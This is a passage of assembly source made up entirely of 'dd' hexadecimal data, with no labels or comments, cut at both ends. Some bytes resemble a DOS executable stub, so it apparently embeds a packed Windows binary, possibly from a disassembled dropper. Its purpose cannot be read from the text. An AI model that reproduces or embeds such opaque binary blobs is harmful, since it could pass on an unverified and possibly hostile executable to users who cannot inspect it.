0D6E45A4Dh, 8B7817C0h, 81373C41h, 0C9455038h, 408658F0h dd 7818B7FBh, 0F010B18h, 0B370C194h, 0E95BF6B7h, 0C82504E5h dd 1441B70Fh, 671056Fh, 68B637F0h, 0C657777Eh, 1E761808h dd 37C27C8Bh, 4C9EC17Ch, 972F93Bh, 3BD9037Ah, 3D5972FBh dd 0C2C0BFB4h, 3B28C07Ah, 60E672D6h, 0D724CC39h, 0B50084BBh dd 0E068FE6Ah, 0D2D2D58Eh, 84C7C28Bh, 32CA0885h, 0F85CC925h dd 8639D3B7h, 9CD6789h, 0FC09AFFCh, 3AEBEC3Ch, 132DF455h dd 2C0A1950h, 0B305FFD6h, 2440F508h, 0F71FE8C1h, 1E083D0h dd 4B49D7BBh, 0C3FCFD1Ah, 0B562DEF7h, 0CC018A85h, 8BC2F3F9h dd 82D656C2h, 0BA2FEFBDh, 423A1C31h, 55A5BBF7h, 281B5472h dd 63B3195Ch, 205D702Bh, 637B3223h, 0FC14D2C9h, 5228507Ch dd 66194B03h, 0AE522477h, 61229D0Bh, 97E1B191h, 265055E3h dd 1DEF1B5Ch, 18850C13h, 28EF198Fh, 38F0B85Bh, 833AEAE9h dd 74062C8Ah dd 67971DDh, 2D76743Bh, 0B30C8BE9h, 4F190C73h, 7CEA7E3Ah dd 4417EBB3h, 7BC6ECB3h, 0E808B31Fh, 0ECEAB6B7h, 5B763DF6h dd 0F8B64FDh, 83047981h, 7BBBB675h, 0CB51D2FFh, 51390C52h dd 0DA057508h, 0D0BB51A6h, 0DE97191h, 80BEBB6h, 89E06B8Bh dd 0D837E343h, 55FB612Ah, 5D5958E5h, 0CAD55B59h, 0FFB0BC5Ch dd 25FF37D0h, 0AF000E30h, 65A02D5Eh, 0FE25E07Dh, 434241FFh dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 545352BDh, 0E5B6FFFFh dd 235A16E1h, 64636261h, 68676665h, 6C6B6A69h, 0EF6F6E6Dh dd 70FFEEFFh, 74737271h, 78777675h, 631B7A79h, 72676267h dd 722E6770h, 7F4F726Bh, 6EEC7FD8h, 630A7479h, 65726972h dd 176C7376h, 72786E7Ah, 0D9E4FF75h, 710D7AB3h, 707A076Ah dd 61716168h, 0FECF7A6Eh, 0C72B1D9h, 6524717Ah, 7679616Eh dd 7A691F6Fh, 0FFB1F61Bh, 72656E6Ah, 6E73682Dh, 61691071h dd 0B1C6772h, 0DB6B05BFh, 68036E9Ah, 7076699Bh, 0DDB37272h dd 687AEDD9h, 65621379h, 61136614h, 0DB59A266h, 7070FB06h dd 2B63636Eh, 5771156Ah, 0EC3EDB39h, 703207BBh, 0AF737362h dd 0E776F62h, 0E47DBE63h, 34743B59h, 712B2B07h, 0DE6A7979h dd 9FACEC1Eh, 75137045h, 67EF636Ch, 0C1B67A65h, 726843FEh dd 33677671h, 6A745B32h, 0BECDA16Dh, 6FC919CDh, 0B74767Ah dd 0C93051F4h, 225836h, 6E6E617Bh, 4EAE6DB6h, 67624C0Eh dd 0B64FC272h, 180B61F6h, 71781F75h, 791E926Fh, 0C3F6B061h dd 3833760Fh, 71471336h, 42B58D17h, 71746F3Bh, 42370BDFh dd 7B9860A1h, 94AC699Bh, 5C28584Eh, 63D41879h, 85B96138h dd 66C65093h, 0D61AD6Ch, 0B092D6D8h, 3AD76280h, 9E0D764Ch dd 763FB26Ch, 366A6E71h, 87740B34h, 0BA34366Eh, 63439424h dd 67664F3Fh, 8C1AC377h, 700F2772h, 750D7875h, 0B59BC670h dd 0B328175h, 5BF07318h, 66BBB61Bh, 6F9844ECh, 78706279h dd 82858947h, 999008E0h, 964190EBh, 0FFFF044Dh, 0FFCB40B8h dd 4F001BBh, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 0DADF0A54h dd 2073D31Bh, 61EC6070h, 8F63206Dh, 176C6F6Fh, 0A820749Ch dd 206EA920h, 4F440269h, 7C07BB53h, 6F6D20E3h, 0D0D2EFAh dd 5503730Ah, 87F77C75h, 1129AAFCh, 867AC414h, 107ABAD0h dd 0B9D23607h, 0D8F7037Ah, 7AAA8F23h, 4E7AA90Eh, 807AC523h dd 8F636017h, 991BD27Ch, 7AB5187Ah, 37B8071Dh, 0D8FBD91Ah dd 695207BCh, 0B34F6863h, 1F6A9749h, 0F1014CEAh, 0B346D613h dd 217CB74Fh, 10B0101h, 1011B008h, 0B9D84D01h, 1B0270Bh dd 1C0030Bh, 0EF64B70Dh, 270217F0h, 0D01B0700h, 0CD9D8101h dd 10401E26h, 58E50007h, 0B42F06B2h, 0D6457BC8h, 0B45752EEh dd 0C9CC6708h, 2050BB3Fh, 4F2F486Ch, 72093058h, 0AF37B236h dd 0F68027C4h, 0E0CD221Dh, 0A4FF0B31h, 30DEC327h, 733D4057h dd 83DC6372h, 0C0BA6929h, 0C0A80C27h, 0A040B88Ah, 3230090Ah dd 7FFFC56Eh, 90D21F7h, 2A690902h, 0B18E2F1Eh, 0C089BA31h dd 52EAA06Fh, 7EF219Bh, 7736F926h, 0FD5DD5BDh, 3128481Ch dd 0FA748D56h, 6DE85657h, 14BF52FFh, 8B56EE2Dh, 0A57E3F8h dd 0F783BC2Eh, 0FFC41FDBh, 0FE1B41BFh, 4E8B8EC7h, 74C98530h dd 2C46FF13h, 0FFC1028Bh, 0E0C1B817h, 0DF1ED202h, 362F7FB4h dd 6A0EEB59h, 0FFC73304h, 168E537Fh, 0FD08C804h, 89EEBBEDh dd 59243046h, 81548932h, 0B52FFDFCh, 904DC3D4h, 0DF7CD10Ch dd 4BFFF6Ch, 0FF1C478Bh, 9E5DF52Fh, 0C4E8D06h, 200C1751h dd 244F8B0Ah, 0E6DFDB8Dh, 0FFFD02D8h, 10314CFFh, 50090446h dd 595C0078h, 777E063Fh, 9A0E612Ch, 3D8B5911h, 0C4BFFB7Fh dd 8F234D38h, 466ADDDCh, 501E2034h, 8330760Fh, 0FF976EE9h dd 0EDE97FEDh, 30B03466h, 2C060CC4h, 0F9342B00h, 77849DC0h dd 8D20EB34h, 0AB7FFF46h, 0FF500CFFh, 1857FF8Dh, 0D06F883h dd 0ADFFB7EEh, 75010814h, 0EB368B07h, 4BB7AB03h, 7F768BFDh dd 0D4DC75F6h, 0B7CBDDEDh, 0FFC603C6h, 51AADFFFh, 8BDB3365h dd 345E39F0h, 0FC5D8957h, 0E0F1840Fh, 0C2F86EFFh, 0FFFFFFF7h dd 0FE8BCF56h, 3B24E171h, 0F7459FBh, 0B6C33B20h, 0C7E9A76Dh dd 2889394Eh, 0ADFFFF13h, 0D82724FEh, 0CFB5DBAh, 2A6E387Ch dd 0E98CAC29h, 0B9BB0207h, 7E045DBFh, 0FFFFFF34h, 2D7433FFh dd 478DDF8Bh, 56FF4988h, 0A7B7DD87h, 0B160F19h, 0EB3F8B19h dd 0C37F0505h, 8B6B7B76h, 0FF00BF1Fh, 2EBD9FFh, 78DB850Ah dd 0B66D59B4h, 0E8C6FED6h, 18755B52h, 6A89A310h, 5FFFFFABh dd 0BB9CCD80h, 4924763Fh, 0BD796648h, 8B3DB776h, 0FFFF7C37h dd 1B7ADFFFh, 7612C083h, 9B9BFFBAh, 8919F273h, 8915EB03h dd 8B14EB3Bh, 170B2003h, 0BF407846h, 89FFFF11h, 2176047Bh dd 0AEE83CDFh, 0DCDADFB9h, 7BE175FDh, 7F6F3074h, 0D5BFFF6Eh dd 8C2B5FFh, 2A71267Bh, 0F285C2E4h, 8B1C773Bh, 0C95BAF34h dd 0F6FE3B4Fh, 0FFFFEAEEh, 0DE2C41FFh, 48197656h, 30498BE7h dd 1381148Dh, 23C28308h, 4EAFE5Ch, 74323B48h, 0DFFFF0BFh dd 4475F0C5h, 0DF770481h, 833FDB0Ch, 65835CECh, 0BFBC50B8h dd 0FF45C75Bh, 0A8FFFFFFh, 0F97E5F01h, 674523EDh, 0AB89AC06h dd 0FEB0EFCDh, 0B498BADCh, 0B7325476h, 108599FBh, 0FF8040DEh dd 4DFFFFFFh, 0F11075A8h, 0B7CB879Dh, 110A75DFh, 59087D8Fh dd 106A5E59h, 0B1E1BBF3h, 3116037Bh, 9741951h, 0CFF04FEh dd 0F193C933h, 42BE17F6h, 0FFC883FBh, 0FFFFFF76h, 424807Fh dd 4BC743FFh, 0C259469Fh, 0E1BF0104h, 1CC76612h, 78C468D0h dd 386A5643h, 0E3230DE6h, 0C6FFC0BFh, 0F4B1D30Dh, 6130562Fh dd 0D2F6721Ch, 0FA6D48E6h, 0FF180718h, 137FD77Fh, 0CD847B19h dd 5C2406B7h, 5EBB0428h, 3AE2C35Fh, 5F6C7F6Eh, 0FFF8E4DCh dd 0A1FFFFFFh, 2F417C5Ch, 0F65E24ECh, 0D1BDCEDBh, 74D8155Ch dd 0C85FB64Fh, 35590EADh, 89B785CEh, 0FF3F74B6h, 50FFFFFFh dd 1242450h, 0B4BEDC67h, 183B8D72h, 159A5A5h, 8DFAA553h dd 6BFDDDBFh, 50142022h, 7F22C38Bh, 1FFFFC0h, 0F7235913h dd 0F61B59DEh, 0B46777E3h, 5FEF0553h, 0C351BA71h, 0FE0DFADBh dd 6DBC6FFFh, 703D6055h, 346F8DCAh, 5CA45D39h, 80A36A9h dd 0FFC18141h, 49B217FFh, 0DB0A9613h, 0C5470275h, 0FB4E0C99h dd 2C4BF7D8h, 0FF5C8DCFh, 2FB85FFFh, 0E0425F7Dh, 0ECFE5343h dd 9E17B7BEh, 3E741077h, 8B34D832h, 0FFD19B6Ch, 7DFFFFFFh dd 503555B6h, 201B5355h, 86B90876h, 0C303B77Dh, 0A00C647h dd 4C49588Dh, 37B3BBC2h, 0E188C961h, 3FFFFFFh, 265EA557h dd 5B5D5F0Ch, 0D5FB30A5h, 4955A7B6h, 4C57F825h, 0BC2D361Bh dd 0FF4E039Ah, 317FF897h, 82063640h, 873F8026h, 748A766Dh dd 4BE0F39h, 4887503Eh, 0FFFFF1A2h, 0E2375FFh, 9BB5D949h dd 0F1B1F9Fh, 0F64CB8B6h, 0FC0B133Ch, 0FFDE35B2h, 3C804607h dd 0FFFFFF3Eh, 1AC7E42Fh, 6E541CE6h, 7702376Ch, 84158A46h dd 0D953E87Bh, 191437F6h, 3AEB1013h, 0FFFFFF3Ch, 3D7440FFh dd 6153C054h, 14725605h, 6EA7603h, 614AFF7Bh, 432B0488h dd 0BF493A59h, 0DBDB406Dh, 0FFFFFF3Bh, 8CC50FFh, 55F94D78h dd 970022C6h, 0D1661774h, 0C04BEB2Eh, 3B643C2Bh, 145D6F61h dd 7594522Bh, 0FFFFFF28h, 0FFC27FFFh, 2B2E486Dh, 402B5906h dd 794B0375h, 0BD2BC6B2h, 2B44DB73h, 647E8B69h, 0F7034340h dd 0FFFFFFABh, 6C873CFFh dd 130664B9h, 801A3B06h, 0FFECD9EDh, 2EFF2B7Ch, 3E800575h dd 2C0E742Eh, 0B04359C6h, 0FFFFFEB0h, 0D7E70FFh, 8BAEBF28h dd 2DD3D41Dh, 0B0BF6D97h, 3C8D4AEBh, 0B307272Eh, 4BA41739h dd 26B290C8h, 97FFFFFFh, 0B77B659Dh, 0B03F6E85h, 55B3794Eh dd 85852EB1h, 0DC58686Fh, 7D800A7Ch, 0FF042000h, 0E2FFFFD2h dd 4A1A9702h, 1F5BE67Ch, 0D272595Dh, 408D5B6h, 0E140DC0Dh dd 0E3BB70B2h, 0BFFFFFFCh, 0BBB660F4h, 2A740C58h, 0B64B3761h dd 6274DB02h, 0C090B1DBh, 0B86E165Bh, 0BF501806h, 43FFE941h dd 0DA371547h, 0CDA5F61Eh, 92E703BDh, 37213132h, 0FFFFFF01h dd 83880FFh, 0DAF64817h, 32EB5020h, 0DFC4DABh, 8AEDD8D7h dd 885EFF06h, 0A6E2F501h, 0D2CEBEA7h, 0FFFFFFFBh, 0CEB00FFh dd 41706856h, 0FF53B748h, 903B6ED1h, 849F0F8Ah, 88A67C9h dd 5005215Fh, 76D6B1F7h, 0FFFFFF8Eh, 6BF980FFh, 8A400A40h dd 2D1E380Ch, 0ED7F7EF0h, 45ED3355h, 0A3112D39h, 0C55FB054h dd 0F4B0E37Fh, 0FFFFFF30h, 35035EFFh, 0EBD6D64Eh, 74C8A13h dd 6C2DC966h, 137AF9D8h, 0CCE3813Fh, 48B58ED6h, 0E47F2E8Fh dd 0BC2FE08h, 0C2D111FCh, 61EF7FAFh, 850D2BCDh, 2858A3C1h dd 0FFFFFEC0h, 0B09097FFh, 0F02FAFBh, 0C748B387h, 138606C5h dd 672CD753h, 1F3B29AFh, 0C0BF9316h, 7FF1BDF7h, 0D932F7EBh dd 7724FAC3h, 80127B7Eh, 4F971AB8h, 6F09FB85h, 8CBFFFFCh dd 8A7B6774h, 0BDACDACEh, 0DCE64F0Dh, 0DE20C1CDh, 40DEDC83h dd 0E3EA0B7Ch, 39FFFFFFh, 59888A7Fh, 0DFDFFDF0h, 21E5EDEBh dd 0A1C88B80h, 64C06B19h, 53F9F799h, 0FFD7F7F0h, 1574BA2Dh dd 107E9014h, 217C3253h, 0BE15FC9Fh, 0FA5FFF07h, 5F5D5EFFh dd 6174A5Bh, 0EB3C097Ch, 67936BE6h, 0DF7D4608h, 81F9DD02h dd 0FFA5C8ECh, 0A6FFFFFFh, 7492570Eh, 520B8705h, 0A6B78D78h dd 0AF55106h, 0E577F75h, 263F6B0Dh, 0B2F9C338h, 0FF683D84h dd 0FEB702h, 7B5DFB6Ch, 0F6344647h, 0B8A1CB59h, 16C64D6Fh dd 0EB7FFFC3h, 0DBE05BFFh, 0EB5FF6CAh, 0C852119h, 67FBA06Eh dd 8B15CA0Bh, 24BCB504h, 0C6E36F46h, 0A1AB7FFFh, 0E6FF645Ch dd 1EEB2609h, 0EB58646Ah, 0E112A1Fh, 0FFFF4907h, 9F6CFFFFh dd 39B8A343h, 0F8EBD8CEh, 3C1710A5h, 3E5F078Ah, 0AC91F730h dd 0FEF03597h, 0FE814746h, 0FFFC2F5Bh, 271D67FFh, 14C6FBDBh dd 0F0DB1900h, 13737C36h, 30353937h, 0D6295F70h, 0FF5F1B30h dd 6BFFFFFFh, 501D7B6Fh, 5F1A4476h, 0C806F0FBh, 1E818D46h dd 0DBD3BF83h, 6A922DF4h, 505CBA03h, 0F1288D8Dh, 56FFFFFFh dd 67857EF8h, 0D16F1A0Ch, 0B6F04D14h, 66C9BAA9h, 50F01237h dd 374EC549h, 0FE653368h, 0F4BFFFFFh, 0BA056A37h, 2016F514h dd 595F84C3h, 0A1092D6Ch, 22970ACh, 0D91C3649h, 29EA631Fh dd 360DFFFFh, 86859BA3h, 0EBC52A5Fh, 723AE35h, 945F813Dh dd 0FF373817h, 56817FFFh, 153F0D7Bh, 302D2C70h, 3067BFCh dd 946D7948h, 1FF0B74Ah, 55B10F7Eh, 0A5FFFFFAh, 0B730898h dd 8D82327Fh, 0FC7D83C6h, 4A6D051Ch, 58B45EC7h, 0F0037E10h dd 0B9E9B0ADh, 4FF6D188h, 0FE54C903h, 0FFFFB42Ch, 2EBB7FFh dd 0B72236B1h, 0B0C20C80h, 0A4D94C8Eh, 4C52160Bh, 0D1D18218h dd 3ACFC234h, 0FF0B8918h, 72D06FFh, 0DA4CBFC3h, 0EA2546B7h dd 685001E3h, 4DEFE4B5h, 0FFE1701Dh, 4889097Fh, 0F76BC708h dd 0F80440BAh, 22D006F6h, 1FB5E50Bh, 0FFC68096h, 70B3F36Fh dd 4CA1D338h, 0EEA60D98h, 0C98DF87Fh, 3BC01FFFh, 7D3674ACh dd 0B0FA9E4h, 0CB136C67h, 1290BEh, 0C8FEDFFEh, 2AD0E499h dd 1F66810Ch, 2FD2FBBEh, 2BE4B1BDh, 7FFF9BC1h, 3479F803h dd 0F2CEE478h, 0B545FB0Dh, 2325C845h, 304AF8C8h, 2CFFF006h dd 0F48AC817h, 0FA6AF0F7h, 7AD61BF3h, 0FFFFFF32h, 591C7606h dd 6B54FA55h, 1C0AEF2Bh, 13A025EBh, 853B7E1Bh, 8A117428h dd 0FFFC1A0Ah, 380F84FFh, 5C2D080Eh, 804266E0h, 0F7F23BEFh dd 95E3A80h, 0CA350FC3h, 0DC01BFFCh, 9C76D5A8h, 676DDF0Ch dd 0F312B02Dh, 60E2A05h, 9501F4B0h, 99ED9C7Bh, 0FFFFFC4Bh dd 18A0C1Dh, 23A0CE6h, 0FF4241A2h, 0DB684E1Ah, 81EE75B6h dd 0C5A00601h, 4FFFFC6h, 0F8D83A28h, 75899E24h, 0FA3FBAF8h dd 0DBB13D53h, 0FF281E68h, 3BFFFFFh, 9D2307DEh, 3C4B6CD8h dd 33180FF4h, 0DFF429D2h, 0C82D2FFEh, 83D0C183h, 0B7709F9h dd 0FFFFFF88h, 42D8D9FFh, 0FFA8346h, 86DBE772h, 0F6ED285Bh dd 7D040EC6h, 9BF07403h, 0E198581h, 102AA6D8h, 0FFFFFF6Bh dd 6B99C9A5h, 0C53297B4h, 89D0115Ch, 0B9507010h, 3BB028E4h dd 5025B875h, 0C0D5C38Eh, 0C0FFFFFFh, 6A299D87h, 0F40E0C14h dd 0DE363DC8h, 5045E2DEh, 1688097Dh, 72D945C6h, 1BFFFF18h dd 0DE1BEBBCh, 516A28E3h, 16A51D8h, 5051FC05h, 0F426EEC8h dd 0FF67684Ch, 7FB7FFFh, 50F32B41h, 0C0D8CF1Bh, 0F03BA5F0h dd 4E74ECB3h, 4483F47Eh, 0F303FF89h, 0FE3E1C8Dh, 8DFFFF16h dd 5C570834h, 1B46CFC4h, 0CB2BEDFAh, 5C4C143Bh, 0C9BB1B73h dd 0FFFFFE7Eh, 6D392DFFh, 792BC3E9h, 148A2F03h, 40108833h dd 7CF13B46h, 97B76DF5h, 5B49E85Eh, 78FD2FFFh, 2B0EBF10h dd 1549F3DEh, 0AC1FDC48h, 0F57D27BBh, 0F575A063h, 0F4FFFFFFh dd 513E0C8Dh, 1B875D90h, 120FB3ECh, 2559F887h, 6A70C31Eh dd 0B5594C85h, 7F86440Fh, 87BFFFE1h, 0A21C59F4h, 557F4BBh dd 289EDCB7h, 25312557h, 5F3417E2h, 0FE44E19Fh, 0EFFFFFFh dd 0D1F50E01h, 8541FA33h, 5E5C0DC2h, 4E9F50F4h, 0DB1E493Dh dd 76E058E8h, 8826D839h, 0B7FFE45Dh, 0BC3905FFh, 377D390h dd 3C41E063h, 0FDA17DC3h, 0E6E597h, 0FF3C0C7Ch, 5AFFF4BFh dd 9B1E087Fh, 6EB37EAh, 6E5F6B1Eh, 7C41FBADh, 0C317040Dh dd 859AE883h, 5FFFFFFFh, 300777E8h, 0D00304C3h, 8082D285h dd 0DEDB612Bh, 50E589D1h, 46E45588h, 0FD2FC5E5h, 47F9E0FFh dd 786C1BCh, 0C34774F8h, 9C8F903h, 20FF35FEh, 16FFFF2Ch dd 0CE4342BFh, 0E93BCF2Bh, 0FE2D1144h, 24FE3712h, 8862DF2Bh dd 97473B0Ch, 48FFFFFEh, 0DCB2C175h, 8D17F0B0h, 7C2DFF48h dd 0FB2B193Dh, 87966907h, 371BE45Ch, 0FFFEB7E4h, 2C2CD3FFh dd 3F419424h, 6DBDC31h, 405F43DBh, 0BBF8A1C9h, 7D390405h dd 5C7EDB51h, 12FFFFA0h, 7E464109h, 0F8F3EB08h, 0AE047705h dd 0C120E976h, 0B7600BBh, 810BFA35h, 4AAC1CCAh, 0F0741DFDh dd 7FFFFFE8h, 6806F4FBh, 8FC76ABh, 0BD2BC82Bh, 1DC2CD6h dd 310EA04Eh, 0C152DE2Ch, 0E42510AAh, 0FFFF9756h, 977E40FFh dd 30DEC4Bh, 7D602568h, 0E8053D81h, 7D721103h, 2275853Bh dd 37A1D917h, 0FF12ADFFh, 0E50ADB52h, 25FA35AAh, 0F5EB32EFh dd 0CC98AD00h, 0FFFE3F68h, 596DFE37h, 3C6B641Ah, 818551Ah dd 0ECCB6C18h, 1B5694EAh, 101C8C4Ah, 0FF60D829h, 0DFDFFFFFh dd 0CA949D58h, 28F5A8DDh, 8E68D195h, 47587B09h, 531623EFh dd 1CA26650h, 4D2468DCh, 0FFB7E837h, 0B0B38E9Bh, 804C5353h dd 8BB7DBF1h, 0F18B6559h, 785EB7E1h, 5A75FFA3h, 0AB10B778h dd 20C6282Fh, 73208E54h, 0FFF33017h, 4EB7E37Fh, 8F29B302h dd 3BDF0913h, 0A31F15D9h, 0FF3274CFh, 0DA2E6435h, 0F02FFF0Bh dd 1C3E0942h, 2404181h, 0D42E2FBEh, 7D64095Ch, 0FFFF06DFh dd 0F740FFFFh, 0DCBB3D58h, 0FE496725h, 156C1D39h, 6ED8BAD1h dd 26160A74h, 1738117Fh dd 455D4390h, 2FFF5828h, 616FFF0h, 7035363Ch, 666684F4h dd 0BC02E539h, 7A5FF07Ah, 897ADA64h, 0FFFF041Dh, 3BBDFFFFh dd 498FB798h, 136805C7h, 6A9D201Fh, 0ED8E0FFh, 2F943AB3h dd 2113E0B0h, 381B3C25h, 0FFF120FEh, 0A20E817Fh, 0EEFC87AAh dd 305D5D1Bh, 0F18B262Fh, 0C6C46C3h, 0F46F7FF0h, 0D8BBBD1Bh dd 4EE2C83Bh, 0B9037310h, 0E9C1CB49h, 85FFD1BFh, 0C114491Dh dd 0BFF8EFC0h, 3FE083C2h, 5F406A3Fh, 0ADA9F82Bh, 4CAFFFFFh dd 7731830h, 0D4AF0453h, 89DCA8C0h, 0DCBA9506h, 0FFF84DD9h dd 0D2187FFFh, 6B6A120Ch, 0B25A37FFh, 40FB83CCh, 0FB8B2A72h dd 3906EFC1h, 65702F26h, 0FADFFF9Dh, 83298A17h, 0EB8340CBh dd 40F757DBh, 51DB754Fh, 5618C683h, 0FFFFDC23h, 944542FFh dd 9DC0BB78h, 593F6A7Eh, 77548D80h, 0E18002C6h, 83D817D6h dd 0FD4A3042h, 263302FFh, 5200C457h, 0B60E21CBh, 4C7E8D1Dh dd 0FD2FFD52h, 6CAFF985h, 18262D81h, 27F85ED8h, 973BB65Bh dd 6FAB4E53h, 50315BFDh, 83541405h, 0EA13EC7h, 50780CBAh dd 52FE897Fh, 406C867Fh, 79447C56h, 0D5BFE85Dh, 0FFFF7122h dd 8BFCEADFh, 33DA4079h, 0DAA923DEh, 6FE0503h, 8D113CBFh dd 0E6781394h, 56FFC1D7h, 7C2FFF8h, 0A3E0D703h, 33EEDB6Fh dd 0CF1B23DFh, 33B4DF29h, 0B4A1B756h, 0FFFFFFFFh, 8B6EFDCDh dd 0CC6C128h, 1D23F203h, 753F0819h, 52FFD6Fh, 70DB3BBCh dd 0CFC12420h, 7D89080Fh, 0FFFD1BE3h, 2EDA36F4h, 4EAE76EFh dd 0C585157h, 0C14EEE1Ch, 9FB6030Ah, 702B7837h, 6ACE1AE0h dd 0D0A33FEh, 0FFFF816Dh, 0F037FC1Bh, 4A03FE33h, 560FAF12h dd 0E6DB118Bh, 763395FEh, 0FA23FC55h, 0FF0B1A1Fh, 7114D2FFh dd 0EB5D6655h, 6587C62Ah, 3872FA29h, 6D818FCh, 0FFFA18FDh dd 1F53EADFh, 8BA8F813h, 0EC7C1C58h, 735ED776h, 0F7073B3h dd 0F5762581h, 4E17FFFFh, 95017936h, 7E73FD46h, 0E4019B76h dd 98D820CDh, 0AF246980h, 0F4BFD6F7h, 0C9F66DBFh, 5BB128DDh dd 0EF24E780h, 2C33439Eh, 5CD7BE70h, 0FFFFFFFFh, 0CDE4A89h dd 2230FC72h, 846B9011h, 3C5AD9BFh, 71933472h, 788BFD98h dd 0AEBB5A38h, 72383689h, 0FFFFFFFFh, 58F45D03h, 6DA0438Eh dd 0A679DB63h, 33783CECh, 5603F71Dh, 0BBD737FBh, 211E355Ah dd 0C149B408h, 0F46FFFF5h, 86BB72CEh, 0C3DFC33Eh, 0FC34F85Dh dd 6BC60495h, 62F2F62Dh, 0BF1BA170h, 305F663h, 4FA931D6h dd 70777173h, 2FFFC0BFh, 40B34067h, 610966C0h, 75C0DF1Bh dd 7000199Fh, 5E5AB8C2h, 1B6FFFF6h, 6FFDD734h, 0EC7C116h dd 23F71CC5h, 308533F2h, 0FF2E0568h, 79FFFFFFh, 0E9B6C7AAh dd 1B6B610Ch, 68F37B98h, 2F105D14h, 686B5CD6h, 66F201CDh dd 44145328h, 0FFFF3C02h, 9D81FFFFh, 0E6E4A777h, 1070D8A1h dd 0D3FBC869h, 0DDE4A6E7h, 6924D290h, 21E1CDE6h, 212FB938h dd 0FFFFD66Fh, 3707FF6Fh, 6E0C66C3h, 69D5E6F2h, 0F4D50D87h dd 5A14ED20h, 0CDE15945h, 0E9053400h, 0BFFA9E3h, 68DFFFFCh dd 8FFDB737h, 708BDE58h, 20DE0308h, 0F833D930h, 0E403BBC8h dd 0A37EEFA3h, 6F5A12FFh, 676F02D9h, 9FB988E6h, 0F1753072h dd 17F16D6Ch, 5E3031DAh, 14CC8D2Ah, 161B7D78h, 6FF1BFE3h dd 1BFB1CACh, 0FFFA3942h, 0B6E0CFF5h, 0A43AE9C6h, 0FFFF1A33h dd 36007E17h, 696FBAD0h, 0F681F803h, 0B538771h, 138BFA03h dd 73630FF8h, 0FF422ADCh, 332CFFFFh, 23C0097Eh, 3B9B6122h dd 6D9DDB34h, 9A8B1073h, 46384E6Eh, 0EBCDEEE3h, 44E85FFFh dd 5EE5D4B1h, 0E6B45A17h, 73E416B6h, 6CA7BA7Bh, 0FFFFADEFh dd 0D41C7FFFh, 447F6F7Ch, 54A4BEEAh, 0B259FB10h, 7CC421ADh dd 0DECFA979h, 0A952244Bh, 7A7C98B9h, 0FB7FFFFFh, 0C30C1633h dd 601C8DDEh, 8EF6BB4Bh, 0B2C87275h, 702892FCh, 34BEBFBCh dd 97D0B6D8h, 0FFFFFF85h, 7EC6C80Ch, 0EB38609Bh, 1327E40Eh dd 0A127FAFCh, 0FB0B0CEAh, 0DC1F77D9h, 0F52F4AEBh, 0D4EFFEA5h dd 0DB1F2D78h, 78185262h, 24831D05h, 46FF1042h, 130B4BEBh dd 9C7D75BCh, 2EF6C1FEh, 0D4D0397Ah, 8B7B7E36h, 3CC96DD9h dd 327887Ch, 6B99E5F0h, 8097B776h, 3F971A17h, 458BC2D8h dd 0A27CD484h, 0A5FFFFF6h, 0C773B61Fh, 0DDEF6F19h, 0E86BD857h dd 0AC56656Ch, 0DF3D66C4h, 0FFB2D3F7h, 79B7FC4Bh, 16D8300Bh dd 224440FCh, 0D6065B3Ch, 84A0D701h, 0FFC24416h, 0CB99FFFFh dd 5CBBCB35h, 432AFF97h, 0B016DE0Ah, 1BBCB35Ch, 23A759E4h dd 0DA0FAB94h, 0FFFD1B3Dh, 5BD9BB85h, 0A039E0DFh, 590BFC93h dd 0D6737921h, 0E975F013h, 59C3F1BFh, 0C977655Bh, 0CC92DC9Bh dd 19D88F0Ch, 5FFEFFEFh, 66D4BFFAh, 5DD1D448h, 0CDB78584h dd 5BD03490h, 6FA87E4Fh, 6F24E0F8h, 0BEDA386h, 0FE2CED17h dd 0A3014387h, 6F333B9Bh, 7FBBFEDFh, 0C44E0811h, 3C487E82h dd 35C0F753h, 37BD3AF2h, 0BBE85F43h, 0FFFFD7D2h, 0BC2AFB7Fh dd 6D86D391h, 8BEBF0BBh, 51EC0319h, 894D6204h, 0A9695109h dd 279D0CD4h, 0FFFD5141h, 0A214FF4Bh, 89CD6EDDh, 0B851019h dd 189919E1h, 60867816h, 0D1F01D82h, 0A37CD03Dh, 0EB604BD6h dd 5C5A6E30h, 4F04850h, 2FFFFFF8h, 6F7BB2C9h, 0B58D56E7h dd 4C0A1014h, 39D6755Eh, 3163433Bh, 0CCC9E968h, 7A17C551h dd 4DFF0223h, 0EBBF21B9h, 6FFB0F11h, 8A8DBEB4h, 0CC42E089h dd 274554Eh, 404A0888h, 0FE174332h, 0FFA0706Fh, 0E0BA3869h dd 0FB90C8Eh, 0F613DD8Ch, 0A144A681h, 46DCFFFFh, 310B02EFh dd 0DE37C53Bh, 0A28F77A2h, 22C76B0Ah, 0BFFFC6FFh, 0BC1B0336h dd 5C6A954h, 3D74F4EEh, 0DBADE473h, 0D4C4308h, 0FF5AE80Ch dd 0FFA970A0h, 4F6B5E12h, 0BF518DEAh, 791369C8h, 0FFFFD65Ah dd 0AC8DB2DFh, 0F9144A8Dh, 3B4020C2h, 5875EC55h, 174CD783h dd 0CEDFE22Ah, 0A5FF528Dh, 0A93F9DFFh, 352994B6h, 0DFC78061h dd 0C5CA459h, 0FF1D0A47h, 0C8FFFFFFh, 0C2E295A8h, 3241D74h dd 0A93047CFh, 13DADA97h, 972BB92Bh, 118A07h, 0B52ECEDEh dd 0F5BF4E41h, 7F12FFFFh, 0AD2B2AF5h, 980C4501h, 48D0ADEDh dd 0E3C1B9C0h, 62731404h, 32ED13A3h, 0FFFE17FFh, 683B9A39h dd 0DFD56DCFh, 0C509231Ch, 4A4ADB29h, 604C6ECh, 0F837BC6Bh dd 0FFF5C207h, 54B3FFFFh, 3910DB9h, 895EF3B3h, 1CC11A66h dd 0E9081B08h, 7FC2BA3Eh, 5304CBC3h, 17FF5F8Dh, 7CE16FFEh dd 2240FF1Eh, 5AADAD2Eh, 52850F71h, 0DB677ECFh, 0FB416C2Fh dd 0AB7F5683h, 44703FFFh, 1F492E76h, 85F196B4h, 86567FFFh dd 0C3695DB7h, 0B601237Dh, 0DD2718BAh, 89FF9817h, 0C2FFED7Ch dd 14A9BFFFh, 0FC2F0231h, 575EDC2h, 0EE7CE441h, 7DE80339h dd 5B7D6C5Fh, 0DBFFDA3Bh, 0CB60FFFFh, 167EC1EDh, 0BB065C4Fh dd 51124821h, 4FD5DFE1h, 3D7EC2FAh, 397EC73Bh, 0BADF5F85h dd 15B8FFD0h, 0FF8398BFh, 36307C07h, 353B19B0h, 7B82F713h dd 8B706FFFh, 1584FEABh, 0FA81DE56h, 